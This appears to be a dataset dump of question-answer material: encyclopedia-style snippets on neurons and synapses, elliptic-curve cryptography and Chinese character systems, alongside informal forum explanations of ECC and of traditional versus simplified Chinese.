varieties of synapses beyond the traditional axodendritic (axon to dendrite). There is evidence for the existence of other kinds of synapses, including serial synapses and those between dendrites and soma and between different dendrites. Many synaptic locations are functionally bipolar, meaning they can both send and receive impulses", "of two hemi-channels called connexons in vertebrates, one contributed by each cell at the synapse. Connexons are formed by six 7.5 nm long, four-pass membrane-spanning protein subunits called connexins, which may be identical or slightly different from one another.\nAn autapse is an electrical (or chemical) synapse formed when the axon of one neuron synapses with its own dendrites. History The model of a reticular network of directly interconnected cells was one of the early hypotheses for the organization of the nervous system at the beginning of the 20th century. This reticular hypothesis was considered to conflict directly with the", "Neurohormone A neurohormone is any hormone produced and released by neuroendocrine cells (also called neurosecretory cells) into the blood. By definition of being hormones, they are secreted into the circulation for systemic effect, but they can also have a role of neurotransmitter or other roles such as autocrine (self) or paracrine (local) messenger.\nThe hypothalamus releasing hormones are neurohypophysial hormones in specialized hypothalamic neurons which extend to the median eminence and posterior pituitary. The adrenal medulla produces adrenomedullary hormones in chromaffin cells, cells which are very similar in structure to post-synaptic sympathetic neurons, even though they are not neurons they are", "Chemical synapse Chemical synapses are biological junctions through which neurons' signals can be sent to each other and to non-neuronal cells such as those in muscles or glands. Chemical synapses allow neurons to form circuits within the central nervous system. They are crucial to the biological computations that underlie perception and thought. They allow the nervous system to connect to and control other systems of the body.\nAt a chemical synapse, one neuron releases neurotransmitter molecules into a small space (the synaptic cleft) that is adjacent to another neuron. The neurotransmitters are contained within small sacs called synaptic vesicles, and are", "system (CNS) and the peripheral nervous system (PNS). The CNS consists of the brain and spinal cord. The PNS consists mainly of nerves, which are enclosed bundles of the long fibers or axons, that connect the CNS to every other part of the body.\nNerves that transmit signals from the brain are called motor or efferent nerves, while those nerves that transmit information from the body to the CNS are called sensory or afferent. Spinal nerves serve both functions and are called mixed nerves. The PNS is divided into three separate subsystems, the somatic, autonomic, and enteric nervous systems.", "dendrites in most other neurons, the dendrites are generally the input areas of the neuron, while the axon is the neuron's output. Both axons and dendrites are highly branched. The large amount of branching allows the neuron to send and receive signals to and from many different neurons.\nPyramidal neurons, like other neurons, have numerous voltage-gated ion channels. In pyramidal cells, there is an abundance of Na⁺, Ca²⁺, and K⁺ channels in the dendrites, and some channels in the soma. Ion channels within pyramidal cell dendrites have different properties from the same ion channel type within the pyramidal cell soma. Voltage-gated", "to as vanadocytes. Nervous system The ascidian central nervous system is formed from a plate that rolls up to form a neural tube. The number of cells within the central nervous system is very small. The neural tube is composed of the sensory vesicle, the neck, the visceral or tail ganglion, and the caudal nerve cord. The anteroposterior regionalization of the neural tube in ascidians is comparable to that in vertebrates.\nAlthough there is no true brain, the largest ganglion is located in the connective tissue between the two siphons, and sends nerves throughout the body. Beneath this ganglion lies an", "cells are a distinct type of cell distributed across the cerebellar cortex, a type not seen in mammals. In mormyrid fish (a family of weakly electrosensitive freshwater fish), the cerebellum is considerably larger than the rest of the brain put together. The largest part of it is a special structure called the valvula, which has an unusually regular architecture and receives much of its input from the electrosensory system.\nMost species of fish and amphibians possess a lateral line system that senses pressure waves in water. One of the brain areas that receives primary input from the lateral", "is a broad range of functions performed by different types of neurons in diverse parts of the nervous system, there is a wide variety in the size, shape, and electrochemical properties of neurons. Neurons can be found in different shapes and sizes and can be classified based upon their morphology. The Italian scientist Camillo Golgi grouped neurons into type I and type II cells. Golgi I neurons have long axons that can move signals over long distances, such as in Purkinje cells, whereas Golgi II neurons generally have shorter axons, such as granule cells, or are anoxonic.\nNeurons", "peripheral nervous system (like strands of wire make up cables). Bundles of axons in the central nervous system are called tracts. Membrane Like all animal cells, the cell body of every neuron is enclosed by a plasma membrane, a bilayer of lipid molecules with many types of protein structures embedded in it. A lipid bilayer is a powerful electrical insulator, but in neurons, many of the protein structures embedded in the membrane are electrically active. These include ion channels that permit electrically charged ions to flow across the membrane and ion pumps that chemically transport ions from one side of", "species has one and only one neuron with the same set of properties. In vertebrate nervous systems very few neurons are \"identified\" in this sense—in humans, there are believed to be none—but in simpler nervous systems, some or all neurons may be thus unique.\nIn vertebrates, the best known identified neurons are the gigantic Mauthner cells of fish. Every fish has two Mauthner cells, located in the bottom part of the brainstem, one on the left side and one on the right. Each Mauthner cell has an axon that crosses over, innervating neurons at the same brain level", "Every neuron and its cellular lineage has been recorded and most, if not all, of the neural connections are known. In this species, the nervous system is sexually dimorphic; the nervous systems of the two sexes, males and female hermaphrodites, have different numbers of neurons and groups of neurons that perform sex-specific functions. In C. elegans, males have exactly 383 neurons, while hermaphrodites have exactly 302 neurons. Arthropods Arthropods, such as insects and crustaceans, have a nervous system made up of a series of ganglia, connected by a ventral nerve cord made up of two parallel connectives running along the", "Bipolar neuron In retina Often found in the retina, bipolar cells are crucial as they serve as both direct and indirect cell pathways. The specific location of the bipolar cells allow them to facilitate the passage of signals from where they start in the receptors to where they arrive at the amacrine and ganglion cells. Bipolar cells in the retina are also unusual in that they do not fire impulses like the other cells found within the nervous system. Rather, they pass the information by graded signal changes. Bipolar cells come in two varieties, having either an on-center or an" ]

[ "An elliptic curve is a special type of curve that looks like [this](_URL_1_). (Don't worry about the equations, just look at the shape.)\n\n Why don't you draw yourself a picture of one? Anything that has roughly the same shape will be fine.\n\nNow draw two dots on your curve. We're going to figure out a way to combine two dots, to make a third dot. What you do is you connect the two dots you picked with a straight line, and you keep going with this line until you hit the curve again. Then you draw a line straight up and down from this new place, which will also hit the curve again. This last place is the combination of the first two dots! If you call your first two dots \"P\" and \"Q\", your picture should look something like [this](_URL_0_). We call the new dot \"P+Q\" because combining dots this way reminds us of addition. \n\nWe can also combine a dot with itself, to get a completely different dot from just one dot. The way to do this is almost the same, just pretend there are actually two dots that are just really *really* close to each other at your first dot, and combine those two the usual way. If we call our dot \"P\", we might call this new dot \"P+P\", or \"2\\*P\". \n\nNow, we can combine this new dot with our first dot again, this will give us \"P+2\\*P=3\\*P\". We can keep on doing this however many times we want!\n\nAs a brief summary of what we've covered so far: \n\n* we have a special curve, \n* we can combine dots on it to get new dots, \n* we can combine a dot with itself to get a new dot,\n* we can combine a dot with itself many times, to get a new dot.\n\nThe last one is what is important for elliptic curve cryptography. The reason is that if you give me a dot, and then the dot you got after combining the first dot with itself many many times, I can't figure out exactly how many times you combined it without checking every number. If you did it enough times, this will take *way* too long for me to ever do, even with a super fast computer. \n\nI've got to go to work now, so I'll finish the explanation later.", "Part 2:\n\nElliptic Curves Cryptography is a type of [public key cryptography](_URL_4_), which is explained there. When comments there mention prime numbers or fancy mathematics, they could be referring to the elliptic curve thing I mentioned (there are other things that work as well though).\n\nHere are some pros and cons to elliptic curve cryptography, as opposed to other systems (like RSA or Diffie-Hellman) :\n\nPros:\n\n* More efficient, it doesn't take as much computer power to get equivalent levels of security\n\n* Other systems have shown some weakness towards increasingly sophisticated attacks, but ECC has not. \n\nCons:\n \n * The math is more complicated, and harder to learn.\n \n * Certain aspects of ECC are patented, so you have to be careful if you want to use it legitimately. \n\nIf you want to learn more about ECC in general, look at [this](_URL_3_).\n\nTo learn more about how ECC works, try reading [this pdf](_URL_4_), if you want, I might be able to help explain things from this that you don't understand (if I can find the time)." ]

[ "Elliptic-curve cryptography Elliptic-curve cryptography (ECC) is an approach to public-key cryptography based on the algebraic structure of elliptic curves over finite fields. ECC requires smaller keys compared to non-EC cryptography (based on plain Galois fields) to provide equivalent security.\nElliptic curves are applicable for key agreement, digital signatures, pseudo-random generators and other tasks. Indirectly, they can be used for encryption by combining the key agreement with a symmetric encryption scheme. They are also used in several integer factorization algorithms based on elliptic curves that have applications in cryptography, such as Lenstra elliptic-curve factorization. Rationale Public-key cryptography is based on the intractability", "of the problem.\nThe primary benefit promised by elliptic curve cryptography is a smaller key size, reducing storage and transmission requirements, i.e. that an elliptic curve group could provide the same level of security afforded by an RSA-based system with a large modulus and correspondingly larger key: for example, a 256-bit elliptic curve public key should provide comparable security to a 3072-bit RSA public key.\nThe U.S. National Institute of Standards and Technology (NIST) has endorsed elliptic curve cryptography in its Suite B set of recommended algorithms, specifically elliptic curve Diffie–Hellman (ECDH) for key exchange and Elliptic Curve Digital Signature Algorithm (ECDSA)", "Edwards curve In mathematics, the Edwards curves are a family of elliptic curves studied by Harold Edwards in 2007. The concept of elliptic curves over finite fields is widely used in elliptic curve cryptography. Applications of Edwards curves to cryptography were developed by Daniel J. Bernstein and Tanja Lange: they pointed out several advantages of the Edwards form in comparison to the more well known Weierstrass form. The group law (See also Weierstrass curve group law)\nThe points on an elliptic curve form an abelian group: one can add points and take integer multiples of a single point. When an elliptic", "Elliptic Curve Digital Signature Algorithm In cryptography, the Elliptic Curve Digital Signature Algorithm (ECDSA) offers a variant of the Digital Signature Algorithm (DSA) which uses elliptic curve cryptography. Key and signature-size comparison to DSA As with elliptic-curve cryptography in general, the bit size of the public key believed to be needed for ECDSA is about twice the size of the security level, in bits. For example, at a security level of 80 bits (meaning an attacker requires a maximum of about operations to find the private key) the size of an ECDSA public key would be 160 bits,", "infringing them, including RSA Laboratories and Daniel J. Bernstein. History The use of elliptic curves in cryptography was suggested independently by Neal Koblitz and Victor S. Miller in 1985. Elliptic curve cryptography algorithms entered wide use in 2004 to 2005. Implementation Some common implementation considerations include: Key sizes Because all the fastest known algorithms that allow one to solve the ECDLP (baby-step giant-step, Pollard's rho, etc.), need steps, it follows that the size of the underlying field should be roughly twice the security parameter. For example, for 128-bit security one needs a curve over , where . This can", " is often a finite field. The Jacobian of , denoted , is a quotient group, thus the elements of the Jacobian are not points, they are equivalence classes of divisors of degree 0 under the relation of linear equivalence. This agrees with the elliptic curve case, because it can be shown that the Jacobian of an elliptic curve is isomorphic with the group of points on the elliptic curve. The use of hyperelliptic curves in cryptography came about in 1989 from Neal Koblitz. Although introduced only 3 years after ECC, not many cryptosystems implement hyperelliptic curves because the implementation", "Conchospiral In mathematics, a conchospiral a specific type of three-dimensional spiral on the surface of a cone (a conical spiral), whose floor projection is a logarithmic spiral. History The name \"conchospiral\" was given to these curves by 19th-century German mineralogist Georg Amadeus Carl Friedrich Naumann, in his study of the shapes of sea shells. Applications The conchospiral has been used in the design for radio antennas. In this application, it has the advantage of producing a radio beam in a single direction, towards the apex of the cone.", "elliptic curve use has bumped up against the fact of continued progress in the research on quantum computing, necessitating a re-evaluation of our cryptographic strategy.\" Invalid curve attack When ECC is used in Virtual machines, an attacker may use an invalid curve to get a complete PDH private key. Patents At least one ECC scheme (ECMQV) and some implementation techniques are covered by patents.", "to be the fastest among elliptic curves tested. According to the U.S. National Security Agency (NSA), elliptic curve cryptography offers vastly superior performance over RSA and Diffie–Hellman at a geometric rate as key sizes increase. Implementations DNSCurve first gained recursive support in dnscache via a patch by Matthew Dempsky. Dempsky also has a GitHub repository which includes Python DNS lookup tools and a forwarder in C. Adam Langley has a GitHub repository as well. There is an authoritative forwarder called CurveDNS which allows DNS administrators to protect existing installations without patching. OpenDNS has released DNSCrypt to", "since this curve is a special case of Weierstrass form, transformations to the most common form of elliptic curve (Weierstrass form) are not needed. Group law It is interesting to analyze the group law in elliptic curve cryptography, defining the addition and doubling formulas, because these formulas are necessary to compute multiples of points [n]P (see Exponentiation by squaring). In general, the group law is defined in the following way: if three points lies in the same line then they sum up to zero. So, by this property, the group laws are different for every curve shape.\nIn this case, since", "Hessian form of an elliptic curve In geometry, the Hessian curve is a plane curve similar to folium of Descartes. It is named after the German mathematician Otto Hesse.\nThis curve was suggested for application in elliptic curve cryptography, because arithmetic in this curve representation is faster and needs less memory than arithmetic in standard Weierstrass form. Group law It is interesting to analyze the group law of the elliptic curve, defining the addition and doubling formulas (because the SPA and DPA attacks are based on the running time of these operations). Furthermore, in this case, we only need to use", "FourQ In cryptography, FourQ is an elliptic curve developed by Microsoft Research. It is designed for key agreements schemes (elliptic curve Diffie-Hellman) and digital signatures (Schnorr), and offers about 128 bits of security. It is equipped with a reference implementation made by the authors of the original paper. The open source implementation is called FourQlib and runs on Windows and Linux and is available for x86, x64, and ARM. It is licensed under MIT License and the source code is available on GitHub.\nIts name is derived from the four dimensional Gallant-Lambert-Vanstone scalar multiplication, which allows high performance calculations. The curve", "Curve448 In cryptography, Curve448 or Curve448-Goldilocks is an elliptic curve potentially offering 224 bits of security and designed for use with the elliptic curve Diffie–Hellman (ECDH) key agreement scheme. Developed by Mike Hamburg of Rambus Cryptography Research, Curve448 allows fast performance compared with other proposed curves with comparable security. The reference implementation is available under an MIT license. The curve is favored by the Internet Research Task Force Crypto Forum Research Group (IRTF CFRG) for inclusion in future TLS standards along with Curve25519. In 2017, NIST announced that Curve25519 and Curve448 would be added to Special Publication 800-186, which", "called topoisomers are large molecules that wind about and form different-shaped knots or loops. Molecules with topoisomers include catenanes and DNA. Topoisomerase enzymes can knot DNA and thus change its topology. There are also isotopomers or isotopic isomers that have the same numbers of each type of isotopic substitution but in chemically different positions. In nuclear physics, nuclear isomers are excited states of atomic nuclei. Spin isomers have differing distributions of spin among their constituent atoms. Etymology Isomer (/ˈaɪsəmər/; from Greek ἰσομερής, isomerès; isos = \"equal\", méros = \"part\") is the root of \"isomer\". The term was coined by Swedish", "in quantum information science in the quantum circuit model, however, in categorical quantum mechanics primitive gates like the CNOT-gate arise as composites of more basic algebras, resulting in a much more compact calculus. In particular, the ZX-calculus has sprang forth from categorical quantum mechanics as a diagrammatic counterpart to conventional linear algebraic reasoning about quantum gates. The ZX-calculus consists of a set of generators representing the common Pauli quantum gates and the Hadamard gate equipped with a set of graphical rewrite rules governing their interaction. Although a standard set of rewrite rules has not yet been established, some versions have", "Elliptic curve only hash The algorithm Given , ECOH divides the message into blocks . If the last block is incomplete, it is padded with single 1 and then appropriate number of 0. Let furthermore be a function that maps a message block and an integer to an elliptic curve point. Then using the mapping , each block is transformed to an elliptic curve point , and these points are added together with two more points. One additional point contains the padding and depends only on the message length. The second additional point depends on", "Weitzenböck identity In mathematics, in particular in differential geometry, mathematical physics, and representation theory a Weitzenböck identity, named after Roland Weitzenböck, expresses a relationship between two second-order elliptic operators on a manifold with the same leading symbol. (The origins of this terminology seem doubtful, however, as there does not seem to be any evidence that such identities ever appeared in Weitzenböck's work.) Usually Weitzenböck formulae are implemented for G-invariant self-adjoint operators between vector bundles associated to some principal G-bundle, although the precise conditions under which such a formula exists are difficult to formulate. This article focuses on three examples of", "method is an important theoretical technique in combinatorial optimization. In computational complexity theory, the ellipsoid algorithm is attractive because its complexity depends on the number of columns and the digital size of the coefficients, but not on the number of rows. In the 21st century, interior-point algorithms with similar properties have appeared.", "Eigenvector centrality In graph theory, eigenvector centrality (also called eigencentrality) is a measure of the influence of a node in a network. Relative scores are assigned to all nodes in the network based on the concept that connections to high-scoring nodes contribute more to the score of the node in question than equal connections to low-scoring nodes. A high eigenvector score means that a node is connected to many nodes who themselves have high scores. \nGoogle's PageRank and the Katz centrality are variants of the eigenvector centrality. Applications Eigenvector centrality is a measure of the influence a node has", "Elliptic curve point multiplication Elliptic curve point multiplication is the operation of successively adding a point along an elliptic curve to itself repeatedly. It is used in elliptic curve cryptography (ECC) as a means of producing a one-way function.\nThe literature presents this operation as scalar multiplication, thus the most common name is elliptic curve scalar multiplication, as written in Hessian form of an elliptic curve. Basics Given a curve, E, defined along some equation in a finite field (such as E: y² = x³ + ax + b), point multiplication is defined as the repeated addition of a point", " contains the point and the point at infinity . \nTherefore, -P is the third point of the intersection of this line with the curve. Intersecting the elliptic curve with the line, the following condition is obtained \nSince is non zero (because is distinct to 1), the x-coordinate of is and the y-coordinate of is , i.e., or in projective coordinates .\nIn some application of elliptic curve cryptography and the elliptic curve method of factorization (ECM) it is necessary to compute the scalar multiplications of P, say [n]P for some", "Curve25519 In cryptography, Curve25519 is an elliptic curve offering 128 bits of security and designed for use with the elliptic curve Diffie–Hellman (ECDH) key agreement scheme. It is one of the fastest ECC curves and is not covered by any known patents. The reference implementation is public domain software.\nThe original Curve25519 paper defined it as a Diffie–Hellman (DH) function. Daniel J. Bernstein has since proposed that the name Curve25519 be used for the underlying curve, and the name X25519 for the DH function. Mathematical properties The curve used is , a Montgomery curve, over the prime field defined by", "Weierstrass's elliptic functions In mathematics, Weierstrass's elliptic functions are elliptic functions that take a particularly simple form; they are named for Karl Weierstrass. This class of functions are also referred to as p-functions and generally written using the symbol ℘ (a calligraphic lowercase p). The ℘ functions constitute branched double coverings of the Riemann sphere by the torus, ramified at four points. They can be used to parametrize elliptic curves over the complex numbers, thus establishing an equivalence to complex tori. Genus one solutions of differential equations can be written in terms of Weierstrass elliptic functions. Notably, the simplest", "Hyperelliptic curve cryptography Hyperelliptic curve cryptography is similar to elliptic curve cryptography (ECC) insofar as the Jacobian of a hyperelliptic curve is an abelian group in which to do arithmetic, just as we use the group of points on an elliptic curve in ECC. Definition An (imaginary) hyperelliptic curve of genus over a field is given by the equation where is a polynomial of degree not larger than and is a monic polynomial of degree . From this definition it follows that elliptic curves are hyperelliptic curves of genus 1. In hyperelliptic curve cryptography", "increase in the number of digits. Why does the algorithm work? If p and q are two prime divisors of n, then y² = x³ + ax + b (mod n) implies the same equation also modulo p and modulo q. These two smaller elliptic curves with the -addition are now genuine groups. If these groups have Nₚ and Nq elements, respectively, then for any point P on the original curve, by Lagrange's theorem, k > 0 is minimal such that on the curve modulo p implies that k divides Nₚ; moreover, . The analogous statement holds for the curve modulo q. When the elliptic curve is chosen randomly, then", "Conchoid of Dürer The conchoid of Dürer, also called Dürer's shell curve, is a variant of a conchoid or plane algebraic curve, named after Albrecht Dürer. It is not a true conchoid. Construction Suppose two perpendicular lines are given, with intersection point O. For concreteness we may assume that these are the coordinate axes and that O is the origin, that is (0, 0). Let points Q = (q, 0) and R = (0, r) move on the axes in such a way that q + r = b, a constant. On the line QR, extended as", "Weierstrass functions In mathematics, the Weierstrass functions are special functions of a complex variable that are auxiliary to the Weierstrass elliptic function. They are named for Karl Weierstrass. The relation between the sigma, zeta, and functions is analogous to that between the sine, cotangent, and squared cosecant functions: the logarithmic derivative of the sine is the cotangent, whose derivative is negative the squared cosecant.", "Conchoid (mathematics) A conchoid is a curve derived from a fixed point O, another curve, and a length d. It was invented by the ancient Greek mathematician Nicomedes.", "amplifiers.\nThe spiral-shaped domain happens to be especially efficient for such an application due to the\nboundary behavior of modes of Dirichlet laplacian.\nThe theorem about boundary behavior of the Dirichlet Laplacian if analogy of the property of rays in geometrical optics (Fig.1);\nthe angular momentum of a ray (green) increases at each reflection from the spiral part of the boundary (blue), until the ray hits the chunk (red); all rays (except those parallel to the optical axis) unavoidly visit the region in vicinity of the chunk to frop the excess of the\nangular momentum. Similarly, all the modes of the Dirichlet Laplacian have non-zero", "of certain mathematical problems. Early public-key systems are secure assuming that it is difficult to factor a large integer composed of two or more large prime factors. For elliptic-curve-based protocols, it is assumed that finding the discrete logarithm of a random elliptic curve element with respect to a publicly known base point is infeasible: this is the \"elliptic curve discrete logarithm problem\" (ECDLP). The security of elliptic curve cryptography depends on the ability to compute a point multiplication and the inability to compute the multiplicand given the original and product points. The size of the elliptic curve determines the difficulty" ]

[ "Traditional Chinese has a single character for every single word in the language (as opposed to a language like English where words are formed by using different combinations of letters). So there are thousands and thousands of characters, requiring vast skill and memory to write. Many of these words sound the same (very slight pronunciation differences), but are written differently.\n\nSimplified Chinese attempts to make it easier to write Traditional Chinese. It takes these similar sounding words and employs a single character to represent all of them. As a reader, you know which actual word the character is supposed to represent because of the context of the sentence. \n\nThis is just an example (because I do not speak either Traditional or Simplified Chinese), but say that the words \"dog\" and \"bounce\" are pronounced similarly, but are represented by two different characters. In Simplified Chinese, these similar-sounding words are represented by the same character. And you know the writer intends to say \"dog\", because you a sentence that reads as \"the dog is hungry\" makes more sense than \"the bounce is hungry\".", "Simplified Chinese is basically a simplified version, which means less strokes but still an identifiable and readable form of traditional Chinese.", "Chinese characters have evolved over time, it can be traced all the way back to the bronze age on a back of the tortoise shell.\n\nTraditional Chinese characters is the result of thousands of years of nature evolution. Each character will have their own \"root/ story\" to separate from other characters with the same sound.\n\nSimplified Chinese on the other hand, created by the PRC in 1950s hoping to increase literacy rate. Got rid of the idea of character \"root\" and combined different characters with the same sound.\n\n**Same example**\n\nFor the character of 麵 flour/ noodle. Traditional character would have a \"麥 wheat\" as the root of the character. For Simplified version would be 面, which is the same character as face/ surface. The word has lost its meaning.\n\nSome might called it butchering the Chinese language, some might called it an evolution. It all depends on how you see it.\n\n**To really ELI5:**\n\nTraditional Chinese: a child become an adult over 18 years.\n\nSimplified Chinese: a child become an adult overnight." ]

[ "全體字; simplified Chinese: 全体字; pinyin: quántǐ zì; Zhuyin Fuhao: ㄑㄩㄢˊ ㄊㄧˇ ㄗˋ) to distinguish them from simplified Chinese characters.\nSome traditional character users argue that traditional characters are the original form of the Chinese characters and cannot be called \"complex\". Similarly, simplified characters cannot be \"standard\" because they are not used in all Chinese-speaking regions. Conversely, supporters of simplified Chinese characters object to the description of traditional characters as \"standard,\" since they view the new simplified characters as the contemporary standard used by the vast majority of Chinese speakers. They also point out that traditional characters are not truly traditional as", "General Chinese Character-based General Chinese The character version of General Chinese uses distinct characters for any traditional characters that are distinguished phonemically in any of the control varieties of Chinese, which consist of several dialects of Mandarin, Wu, Min, Hakka, and Yue. That is, a single syllabic character will correspond to more than one logographic character only when these are homonyms in all control dialects. In effect, General Chinese is a syllabic reconstruction of the pronunciation of Middle Chinese, less distinctions which have been dropped nearly everywhere.\nThe result is a syllabary of 2082 syllables, about 80% of which are single", "Traditional Chinese characters China Although simplified characters are taught and endorsed by the government of China, there is no prohibition against the use of traditional characters. Traditional characters are used informally in regions in China primarily in handwriting and also used for inscriptions and religious text. They are often retained in logos or graphics to evoke yesteryear. Nonetheless, the vast majority of media and communications in China is dominated by simplified characters. Hong Kong & Macau In Hong Kong and Macau, Traditional Chinese has been the legal written form since colonial times. In recent years, simplified Chinese characters in", "Chinese characters are considered acceptable by the Hong Kong Examinations and Assessment Authority for their speed. Singapore and Malaysia Chinese textbooks in Singapore and Malaysia are written exclusively in simplified characters, and only simplified characters are taught in school. Traditional characters are usually only taught to those taking up calligraphy as a co-curricular activity or Cantonese as an elective course at school. Europe In the United Kingdom, universities mainly teach Mandarin Chinese at the undergraduate level using the simplified characters coupled with pinyin. However, they will require the students to learn or be able to recognise the traditional forms", "many Chinese characters have been made more elaborate over time.\nSome people refer to traditional characters as simply \"proper characters\" (Chinese: 正字; pinyin: zhèngzì) and modernized characters as \"simplified-stroke characters\" (simplified Chinese: 简笔字; traditional Chinese: 簡筆字; pinyin: jiǎnbǐzì) or \"reduced-stroke characters\" (simplified Chinese: 减笔字; traditional Chinese: 減筆字; pinyin: jiǎnbǐzì) (simplified- and reduced- are actually homophones in Mandarin Chinese, both pronounced jiǎn).\nThe use of such words as \"complex\", \"standard\" and \"proper\" in the context of such a visceral subject as written language arouses strong emotional reactions, especially since there are also political ramifications in this case. Debate on traditional and simplified Chinese", "Traditional Chinese is retained in Hong Kong, Macau, Taiwan and overseas Chinese communities (except Singapore and Malaysia). Throughout this article, Chinese text is given in both simplified and traditional forms when they differ, with the traditional forms being given first. Function At the inception of written Chinese, spoken Chinese was monosyllabic; that is, Chinese words expressing independent concepts (objects, actions, relations, etc.) were usually one syllable. Each written character corresponded to one monosyllabic word. The spoken language has since become polysyllabic, but because modern polysyllabic words are usually composed of older monosyllabic words, Chinese characters have always", "has seen extensive use. Grammar and lexicon Classical Chinese is distinguished from written vernacular Chinese in its style, which appears extremely concise and compact to modern Chinese speakers, and to some extent in the use of different lexical items (vocabulary). An essay in Classical Chinese, for example, might use half as many Chinese characters as in vernacular Chinese to relate the same content.\nIn terms of conciseness and compactness, Classical Chinese rarely uses words composed of two Chinese characters; nearly all words are of one syllable only. This stands directly in contrast with modern Northern Chinese varieties including Mandarin, in which", "own variant. The conversion between traditional and simplified Chinese is usually problematic, because the simplification of some traditional forms merged two or more different characters into one simplified form. The traditional to simplified (many-to-one) conversion is technically simple. The opposite conversion often results in a data loss when converting to GB 2312: in mapping one-to-many when assigning traditional glyphs to the simplified glyphs, some characters will inevitably be the wrong choices in some of the usages. Thus simplified to traditional conversion often requires usage context or common phrase lists to resolve conflicts. This issue is less", "Debate on traditional and simplified Chinese characters Problems The sheer difficulties posed by having two concurrent writing systems hinders communications between mainland China and other regions, although with exposure and experience a person educated in one system can quickly become familiar with the other system. For those who know both systems well, converting an entire document written using simplified characters to traditional characters, or vice versa, is a trivial but laborious task. Automated conversion, however, from simplified to traditional is not straightforward because there is not always a one-to-one mapping of a simplified character to a traditional character. One simplified", "Classical Chinese lexicon Classical Chinese lexicon is the lexicon of Classical Chinese, a language register marked by a vocabulary that greatly differs from the lexicon of modern vernacular Chinese.\nIn terms of conciseness and compactness, Classical Chinese rarely uses words composed of two Chinese characters; nearly all words are of one syllable only. This stands directly in contrast with modern Chinese dialects, in which two-syllable words are extremely common. This phenomenon exists, in part, because polysyllabic words evolved in Chinese to disambiguate homophones that result from sound changes. This is similar to such phenomena in English as the pen–pin merger of", "Transliteration of Chinese The different varieties of Chinese have been transcribed into many other writing systems. General Chinese General Chinese is a diaphonemic orthography invented by Yuen Ren Chao to represent the pronunciations of all major varieties of Chinese simultaneously. It is \"the most complete genuine Chinese diasystem yet published\". It can also be used for the Korean, Japanese and Vietnamese pronunciations of Chinese characters, and challenges the claim that Chinese characters are required for interdialectal communication in written Chinese.\nGeneral Chinese is not specifically a romanisation system, but two alternative systems. One uses Chinese characters phonetically, as a syllabary of", "Classical Chinese Definitions Strictly speaking, Classical Chinese refers to the written language of the classical period of Chinese literature, from the end of the Spring and Autumn period (early 5th century BC) to the end of the Han dynasty (AD 220), while Literary Chinese is the form of written Chinese used from the end of the Han Dynasty to the early 20th century, when it was replaced by vernacular written Chinese. It is often also referred to as \"Classical Chinese\", but sinologists generally distinguish it from the language of the early period. During this period the dialects of China became", "differences. However, both versions of \"school-standard\" Chinese are often quite different from the Mandarin varieties that are spoken in accordance with regional habits, and neither is wholly identical to the Beijing dialect. Pǔtōnghuà and Guóyǔ also have some differences from the Beijing dialect in vocabulary, grammar, and pragmatics.\nThe written forms of Standard Chinese are also essentially equivalent, although simplified characters are used in mainland China, Singapore and Malaysia, while people in Hong Kong, Macau and Taiwan generally use traditional characters. Geographic distribution and dialects Most Han Chinese living in northern and southwestern China are native speakers of a dialect of", "commonly Chinese varieties spoken today among the older generation, some of the middle aged and the few of the younger generation are Hokkien-Taiwanese (Southern Min ; Min Nan) being the dominant dialect and Cantonese being second. Teochew, is being replaced by Hokkien-Taiwanese (Southern Min ; Min Nan), while other Chinese varieties are increasingly less commonly heard nowadays. Written Chinese Traditional Chinese characters were used in Singapore until 1969, when the Ministry of Education promulgated the Table of Simplified Characters (simplified Chinese: 简体字表; traditional Chinese: 簡體字表; pinyin: jiăntǐzìbiǎo), which while similar to the Chinese Character Simplification Scheme of the People's Republic of China", "Chineasy Set of characters Chineasy teaches sometimes traditional and sometimes simplified forms. Hsueh argued that traditional and simplified forms of Chinese still share a great number of characters, and in real life – just as in the case of British English and American English – you will come across both forms. Where they differ, she shows the other version as well. Chineseasy Everyday teaches over 400 of the most used and useful Chinese characters, phrases and sentences. The text is perfect to have on one's desk or coffee table to learn new Chinese characters from. In addition to learning characters", "just with Chinese peoples of various regions, but also with people from across the Chinese cultural sphere — countries such as Japan and Vietnam — as a great advantage of the written Chinese language that should not be undermined by excessive simplification. Pro simplified characters Proponents say that the Chinese writing system has been changing for millennia: it passed through the Oracle Script, Bronzeware Script, Seal Script and Clerical Script stages. Moreover, the majority of simplified characters are drawn from conventional abbreviated forms that have been used in handwriting for centuries such as the use of 礼 instead of 禮,", "such dialects of English, a certain degree of confusion can occur unless one adds qualifiers like \"ink pen\" and \"stick pin.\" Similarly, Chinese has acquired many polysyllabic words in order to disambiguate monosyllabic words that sounded different in earlier forms of Chinese but identical in one region or another during later periods. Because Classical Chinese is based on the literary examples of ancient Chinese literature, it has almost none of the two-syllable words present in modern Chinese varieties.\nClassical Chinese has more pronouns compared to the modern vernacular. In particular, whereas Mandarin has one general character to refer to the first-person", "and still allow parents to choose whether to have their child's Chinese name registered in simplified or traditional characters.\nIn Malaysia, Chinese is not an official language, but over 90% of ethnic-Chinese students are educated in Chinese schools, which have taught simplified characters since 1981. However, traditional characters are widely used by older generations and are widespread on signboards, etc. Most of Malaysia's Chinese newspapers compromise by retaining traditional characters in article headlines but using simplified characters for content.\nAs there is no restriction of the use of traditional characters in the mass media, television programmes, books, magazines and music CD's that", "Mandarin character readings following common practice among scholars, even though it is also possible to read Classical Chinese using the literary readings of other modern Chinese varieties (as commonly done in Hong Kong, where Cantonese readings are generally used), or even using a reconstruction of character readings belonging to centuries past.\nCompared to the written vernacular Chinese of today, the most notable difference is that Classical Chinese rarely uses words composed of two Chinese characters; nearly all words are written with one character only. This stands directly in contrast with vernacular Chinese, in which two-character words are extremely common. This phenomenon", "Simplified characters, was promulgated in 1974. The second set contained 49 differences from the Mainland China system; those were removed in the final round in 1976. In 1993, Singapore adopted the six revisions made by Mainland China in 1986. However, unlike in mainland China where personal names may only be registered using simplified characters, parents have the option of registering their children's names in traditional characters in Singapore.\nMalaysia promulgated a set of simplified characters in 1981, which were also completely identical to the simplified characters used in Mainland China. Chinese-language schools use these.\nTraditional characters are still often seen in decorative", "Mandarin Chinese History The hundreds of modern local varieties of Chinese developed from regional variants of Old Chinese and Middle Chinese. Traditionally, seven major groups of dialects have been recognized. Aside from Mandarin, the other six are Wu, Gan, and Xiang in central China, and Min, Hakka, and Yue on the southeast coast. The Language Atlas of China (1987) distinguishes three further groups: Jin (split from Mandarin), Huizhou in the Huizhou region of Anhui and Zhejiang, and Pinghua in Guangxi and Yunnan. Old Mandarin After the fall of the Northern Song (959–1126) and during the reign of the Jin (1115–1234)", "can differ from Putonghua in terms of vocabulary, phonology and grammar.\nBesides Singaporean Hokkien, Mandarin is also 